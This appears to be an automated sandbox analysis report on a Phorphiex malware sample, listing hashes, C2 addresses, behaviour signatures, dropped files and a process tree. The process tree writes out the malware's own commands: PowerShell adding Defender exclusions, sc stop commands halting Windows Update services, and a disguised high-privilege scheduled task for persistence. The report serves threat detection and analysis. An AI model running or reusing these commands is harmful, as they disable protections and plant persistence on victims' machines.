Analysis

  • max time kernel
    10s
  • max time network
    122s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01-11-2024 09:57

General

  • Target

    6fc8b5b8a90cf8ba7e0eb930fcdde776f8eeb3f37913318df7766a365e13fa8eN.exe

  • Size

    10KB

  • MD5

    ed9fbbbe548c41479cb70e4d694793d0

  • SHA1

    a0bde162d2241ab2acb58544511a41df30a096a7

  • SHA256

    6fc8b5b8a90cf8ba7e0eb930fcdde776f8eeb3f37913318df7766a365e13fa8e

  • SHA512

    49652367fec13a1e7a188fd039bf8a9fae6be72fdc31e7597bbcfdf30375277f6a7e09b74bd5a2adf1696cf720998c751b7e1671afa3a59c4dfa7069bca543fb

  • SSDEEP

    192:Jd94uPG8E1CDSnzmgp+eMwY46BJxT43thW:394u5SCDSnJo+c83

Malware Config

Extracted

Family

phorphiex

C2

http://185.215.113.84

http://185.215.113.66

185.215.113.66

Signatures

  • Modifies security service 2 TTPs 1 IoCs
  • Phorphiex family
  • Phorphiex payload 1 IoCs
  • Phorphiex, Phorpiex

    Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.

  • Windows security bypass 2 TTPs 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Downloads MZ/PE file
  • Stops running service(s) 4 TTPs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Windows security modification 2 TTPs 7 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Drops file in Windows directory 2 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 11 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 30 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\6fc8b5b8a90cf8ba7e0eb930fcdde776f8eeb3f37913318df7766a365e13fa8eN.exe
    "C:\Users\Admin\AppData\Local\Temp\6fc8b5b8a90cf8ba7e0eb930fcdde776f8eeb3f37913318df7766a365e13fa8eN.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2108
    • C:\Users\Admin\AppData\Local\Temp\15420.scr
      "C:\Users\Admin\AppData\Local\Temp\15420.scr" /S
      2⤵
      • Executes dropped EXE
      • Adds Run key to start application
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3464
      • C:\Windows\sysppvrdnvs.exe
        C:\Windows\sysppvrdnvs.exe
        3⤵
        • Modifies security service
        • Windows security bypass
        • Checks computer location settings
        • Executes dropped EXE
        • Windows security modification
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1352
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4080
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1576
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4220
          • C:\Windows\SysWOW64\sc.exe
            sc stop UsoSvc
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:2892
          • C:\Windows\SysWOW64\sc.exe
            sc stop WaaSMedicSvc
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:2932
          • C:\Windows\SysWOW64\sc.exe
            sc stop wuauserv
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:4204
          • C:\Windows\SysWOW64\sc.exe
            sc stop DoSvc
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:628
          • C:\Windows\SysWOW64\sc.exe
            sc stop BITS /wait
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:3076
        • C:\Users\Admin\AppData\Local\Temp\1913332041.exe
          C:\Users\Admin\AppData\Local\Temp\1913332041.exe
          4⤵
            PID:4272
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
              5⤵
                PID:684
                • C:\Windows\system32\reg.exe
                  reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
                  6⤵
                    PID:4480
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
                  5⤵
                    PID:3476
                    • C:\Windows\system32\schtasks.exe
                      schtasks /delete /f /tn "Windows Upgrade Manager"
                      6⤵
                        PID:2716
                  • C:\Users\Admin\AppData\Local\Temp\366323102.exe
                    C:\Users\Admin\AppData\Local\Temp\366323102.exe
                    4⤵
                      PID:3652
                    • C:\Users\Admin\AppData\Local\Temp\2363714522.exe
                      C:\Users\Admin\AppData\Local\Temp\2363714522.exe
                      4⤵
                        PID:2704
                        • C:\Users\Admin\AppData\Local\Temp\2714010615.exe
                          C:\Users\Admin\AppData\Local\Temp\2714010615.exe
                          5⤵
                            PID:2984
                        • C:\Users\Admin\AppData\Local\Temp\136875685.exe
                          C:\Users\Admin\AppData\Local\Temp\136875685.exe
                          4⤵
                            PID:4796
                            • C:\Users\Admin\AppData\Local\Temp\1232634990.exe
                              C:\Users\Admin\AppData\Local\Temp\1232634990.exe
                              5⤵
                                PID:1256
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
                        1⤵
                        • Command and Scripting Interpreter: PowerShell
                        PID:4816
                      • C:\Windows\System32\schtasks.exe
                        C:\Windows\System32\schtasks.exe /run /tn "Microsoft Windows Security"
                        1⤵
                          PID:4120
                        • C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe
                          "C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe"
                          1⤵
                            PID:1624
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
                            1⤵
                            • Command and Scripting Interpreter: PowerShell
                            PID:2928
                          • C:\Windows\System32\conhost.exe
                            C:\Windows\System32\conhost.exe
                            1⤵
                              PID:1704
                            • C:\Windows\System32\dwm.exe
                              C:\Windows\System32\dwm.exe
                              1⤵
                                PID:1976

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

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                              Downloads

                              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                Filesize

                                3KB

                                MD5

                                fee026663fcb662152188784794028ee

                                SHA1

                                3c02a26a9cb16648fad85c6477b68ced3cb0cb45

                                SHA256

                                dbd4136bc342e3e92902ec3a30d165452c82997a7ae24ac90775e42d88959e6b

                                SHA512

                                7b12bd5c8fc4356b9123d6586b4980cf76012663b41c0dab6f6f21567e2f4005c5bcea2cc2158d157e4f801a281f3e04bad3774cddb3122db309ccf662184bd6

                              • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\V4KZV1MD\1[1]

                                Filesize

                                108KB

                                MD5

                                1fcb78fb6cf9720e9d9494c42142d885

                                SHA1

                                fef9c2e728ab9d56ce9ed28934b3182b6f1d5379

                                SHA256

                                84652bb8c63ca4fd7eb7a2d6ef44029801f3057aa2961867245a3a765928dd02

                                SHA512

                                cdf58e463af1784aea86995b3e5d6b07701c5c4095e30ec80cc901ffd448c6f4f714c521bf8796ffa8c47538bf8bf5351e157596efaa7ab88155d63dc33f7dc3

                              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                Filesize

                                18KB

                                MD5

                                cb5c5f375513d23323c298f37b96ee14

                                SHA1

                                bd56781305f9facd33b5bbae2d8f68ddc8d327e3

                                SHA256

                                adea86731e24d11e717de355997ba426fdbd80e233772851955fc27dccd5214e

                                SHA512

                                bff289ef69fff97f70648b59ff0e149e56a87a89b12d29d92c023d3930b0ae2bfa8bce306d89dbd7a5509b2294dc622c5af23b59f9c2d7e40dc3a856eeb3d064

                              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                Filesize

                                1KB

                                MD5

                                d95b08252ed624f6d91b46523f110f29

                                SHA1

                                17577997bc1fb5d3fbe59be84013165534415dc3

                                SHA256

                                342ce7c39bf9992d31d4b61ef138b2b084c96c74736ed00bb19aae49be16ca02

                                SHA512

                                0c4288176d56f4ee6d8f08f568fba07ad859f50a395c39d2afd3baf55d3d29ca065a1ce305d1bd790477c35977c0ffa230543e805622f80a77bcee71b24eb257

                              • C:\Users\Admin\AppData\Local\Temp\1232634990.exe

                                Filesize

                                20KB

                                MD5

                                c2159769dc80fa8b846eca574022b938

                                SHA1

                                222a44b40124650e57a2002cd640f98ea8cb129d

                                SHA256

                                d9cb527841e98bb1a50de5cf1c5433a05f14572a3af3be4c10d3a4708d2419e0

                                SHA512

                                7a8b4f0b5c020277b4446e4ff2223de413bd6be4c7dad3179f988cb5d3849435a85acfbda7d41d3ef15d22554cd722a8b657d978426b79dc1495a81ab270e870

                              • C:\Users\Admin\AppData\Local\Temp\136875685.exe

                                Filesize

                                10KB

                                MD5

                                9580f5630f5383337a9efdbf24171d42

                                SHA1

                                a51f16aa488d94704ecfd7673c334e374bf5c7d0

                                SHA256

                                c84a19852193f173a5af1aa326f81f0a26994f76a5daa00f4a29602e6c82664d

                                SHA512

                                0238a38c7dacca264ffca5b5f7e4bb3370dd28e5417e7919314fb442479e54a87a660c456f4256b96f4f4f16d1ca7502e9221e1e2afbe2d0bb8ab45172228ccb

                              • C:\Users\Admin\AppData\Local\Temp\15420.scr

                                Filesize

                                83KB

                                MD5

                                06560b5e92d704395bc6dae58bc7e794

                                SHA1

                                fbd3e4ae28620197d1f02bfc24adaf4ddacd2372

                                SHA256

                                9eaaadf3857e4a3e83f4f78d96ab185213b6528c8e470807f9d16035daadf33d

                                SHA512

                                b55b49fc1bd526c47d88fcf8a20fcaed900bfb291f2e3e1186ec196a87127ed24df71385ae04fedcc802c362c4ebf38edfc182013febf4496ddeb66ce5195ee3

                              • C:\Users\Admin\AppData\Local\Temp\1913332041.exe

                                Filesize

                                8KB

                                MD5

                                cb8420e681f68db1bad5ed24e7b22114

                                SHA1

                                416fc65d538d3622f5ca71c667a11df88a927c31

                                SHA256

                                5850892f67f85991b31fc90f62c8b7791afeb3c08ae1877d857aa2b59471a2ea

                                SHA512

                                baaabcc4ad5d409267a34ed7b20e4afb4d247974bfc581d39aae945e5bf8a673a1f8eacae2e6783480c8baaeb0a80d028274a202d456f13d0af956afa0110fdf

                              • C:\Users\Admin\AppData\Local\Temp\2363714522.exe

                                Filesize

                                10KB

                                MD5

                                96509ab828867d81c1693b614b22f41d

                                SHA1

                                c5f82005dbda43cedd86708cc5fc3635a781a67e

                                SHA256

                                a9de2927b0ec45cf900508fec18531c04ee9fa8a5dfe2fc82c67d9458cf4b744

                                SHA512

                                ff603117a06da8fb2386c1d2049a5896774e41f34d05951ecd4e7b5fc9da51a373e3fcf61af3577ff78490cf898471ce8e71eae848a12812fe98cd7e76e1a9ca

                              • C:\Users\Admin\AppData\Local\Temp\2714010615.exe

                                Filesize

                                2.9MB

                                MD5

                                67e2b30d0da71e554f684798d7cede26

                                SHA1

                                30c0bfdf69f6827055b72afabeeea3c2e8bbe422

                                SHA256

                                20e4c28ce5d5645c75a574f8b418199ca78dbf2e5e8a43d4f7ffd07abf87d215

                                SHA512

                                035ebe6e12fffdaaf31f13d59ce37b4b7ad3824149f6616a293b1acb04abfea286286869e560a98e95aa9aedca76ae73da0f833231e41928e7ced04fd1a8e268

                              • C:\Users\Admin\AppData\Local\Temp\2714010615.exe

                                Filesize

                                3.8MB

                                MD5

                                5eacc620cc646e9bd5ed6ff012fc500d

                                SHA1

                                cfb0d5964bc4228f56a22ded546c5d36356a9859

                                SHA256

                                5e8a9cc1f039368a72e14a5b0a867bc116245b7c6512bfb6c5d24a2273ef60b0

                                SHA512

                                92f4f38b9d296a2a1af11da211d8d0d4f585ecbdca3adac1ad4e44e74e8fb7617a1700703b718822d81a4f8d4fbbcb23c4994ef6f612f6fa5a6ef8c5fbca00dd

                              • C:\Users\Admin\AppData\Local\Temp\366323102.exe

                                Filesize

                                15KB

                                MD5

                                0c37ee292fec32dba0420e6c94224e28

                                SHA1

                                012cbdddaddab319a4b3ae2968b42950e929c46b

                                SHA256

                                981d724feebc36777e99513dc061d1f009e589f965c920797285c46d863060d1

                                SHA512

                                2b60b571c55d0441ba0cfc695f9db5cd12660ebec7effc7e893c3b7a1c6cb6149df487c31b8d748697e260cbc4af29331592b705ea9638f64a711c7a6164628b

                              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iyjsg3jb.mvq.ps1

                                Filesize

                                60B

                                MD5

                                d17fe0a3f47be24a6453e9ef58c94641

                                SHA1

                                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                SHA256

                                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                SHA512

                                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                              • C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe

                                Filesize

                                3.1MB

                                MD5

                                6b011ab66af196773361670b01355c8b

                                SHA1

                                883135774ec9423c1b941c7c70cefe2c40d7b5c8

                                SHA256

                                42640bb9f1fe2fe74cc2e484d086b7373adcd2d97c525a191b5151df5ef1c1ef

                                SHA512

                                b99d815ea4936f99338c7aced42f51980081fb3fcc146bc2e44979f48fea9ac163552c525220003d2e9b7c88309915a837bcbd4bcf08b5aca5ae82b5ec9ebd34

                              • C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe

                                Filesize

                                2.1MB

                                MD5

                                642d6c4c47b52a3a423a9ba7d7c299f8

                                SHA1

                                1aae6eaefb329c08303363918bb190cc0517ca70

                                SHA256

                                c3fbc4a9c8282206fda32662ec0117772dbd93228d46ea05fc50874b1fee69a1

                                SHA512

                                2af9218b5de28fdae8d60c0947f0fd2fceae5ff536eac2e5a5950eac4f62c809606838d49653d2810bcdebec7ec7b53c574d472b484e561c4f69acc5090bf050

                              • memory/1576-41-0x0000000006600000-0x000000000661E000-memory.dmp

                                Filesize

                                120KB

                              • memory/1576-42-0x0000000007220000-0x00000000072C3000-memory.dmp

                                Filesize

                                652KB

                              • memory/1576-46-0x00000000075D0000-0x0000000007666000-memory.dmp

                                Filesize

                                600KB

                              • memory/1576-47-0x0000000007560000-0x0000000007571000-memory.dmp

                                Filesize

                                68KB

                              • memory/1576-48-0x0000000007590000-0x000000000759E000-memory.dmp

                                Filesize

                                56KB

                              • memory/1576-49-0x00000000075A0000-0x00000000075B4000-memory.dmp

                                Filesize

                                80KB

                              • memory/1576-51-0x0000000007670000-0x0000000007678000-memory.dmp

                                Filesize

                                32KB

                              • memory/1576-50-0x0000000007690000-0x00000000076AA000-memory.dmp

                                Filesize

                                104KB

                              • memory/1576-43-0x0000000007A00000-0x000000000807A000-memory.dmp

                                Filesize

                                6.5MB

                              • memory/1576-13-0x0000000004A60000-0x0000000004A96000-memory.dmp

                                Filesize

                                216KB

                              • memory/1576-44-0x0000000007350000-0x000000000736A000-memory.dmp

                                Filesize

                                104KB

                              • memory/1576-30-0x00000000071E0000-0x0000000007212000-memory.dmp

                                Filesize

                                200KB

                              • memory/1576-31-0x000000006F530000-0x000000006F57C000-memory.dmp

                                Filesize

                                304KB

                              • memory/1576-45-0x00000000073D0000-0x00000000073DA000-memory.dmp

                                Filesize

                                40KB

                              • memory/1576-29-0x0000000006070000-0x00000000060BC000-memory.dmp

                                Filesize

                                304KB

                              • memory/1576-28-0x0000000006020000-0x000000000603E000-memory.dmp

                                Filesize

                                120KB

                              • memory/1576-14-0x0000000005270000-0x0000000005898000-memory.dmp

                                Filesize

                                6.2MB

                              • memory/1576-27-0x0000000005B80000-0x0000000005ED4000-memory.dmp

                                Filesize

                                3.3MB

                              • memory/1576-16-0x00000000059A0000-0x0000000005A06000-memory.dmp

                                Filesize

                                408KB

                              • memory/1576-15-0x0000000005080000-0x00000000050A2000-memory.dmp

                                Filesize

                                136KB

                              • memory/1576-17-0x0000000005A10000-0x0000000005A76000-memory.dmp

                                Filesize

                                408KB

                              • memory/1624-137-0x00007FF780190000-0x00007FF780727000-memory.dmp

                                Filesize

                                5.6MB

                              • memory/1704-140-0x00007FF6075E0000-0x00007FF607609000-memory.dmp

                                Filesize

                                164KB

                              • memory/1976-138-0x000001CD05800000-0x000001CD05820000-memory.dmp

                                Filesize

                                128KB

                              • memory/1976-141-0x00007FF644C00000-0x00007FF6453EF000-memory.dmp

                                Filesize

                                7.9MB

                              • memory/2984-119-0x00007FF634990000-0x00007FF634F27000-memory.dmp

                                Filesize

                                5.6MB

                              • memory/4272-72-0x0000000000CB0000-0x0000000000CB6000-memory.dmp

                                Filesize

                                24KB

                              • memory/4816-104-0x000001AD4A200000-0x000001AD4A222000-memory.dmp

                                Filesize

                                136KB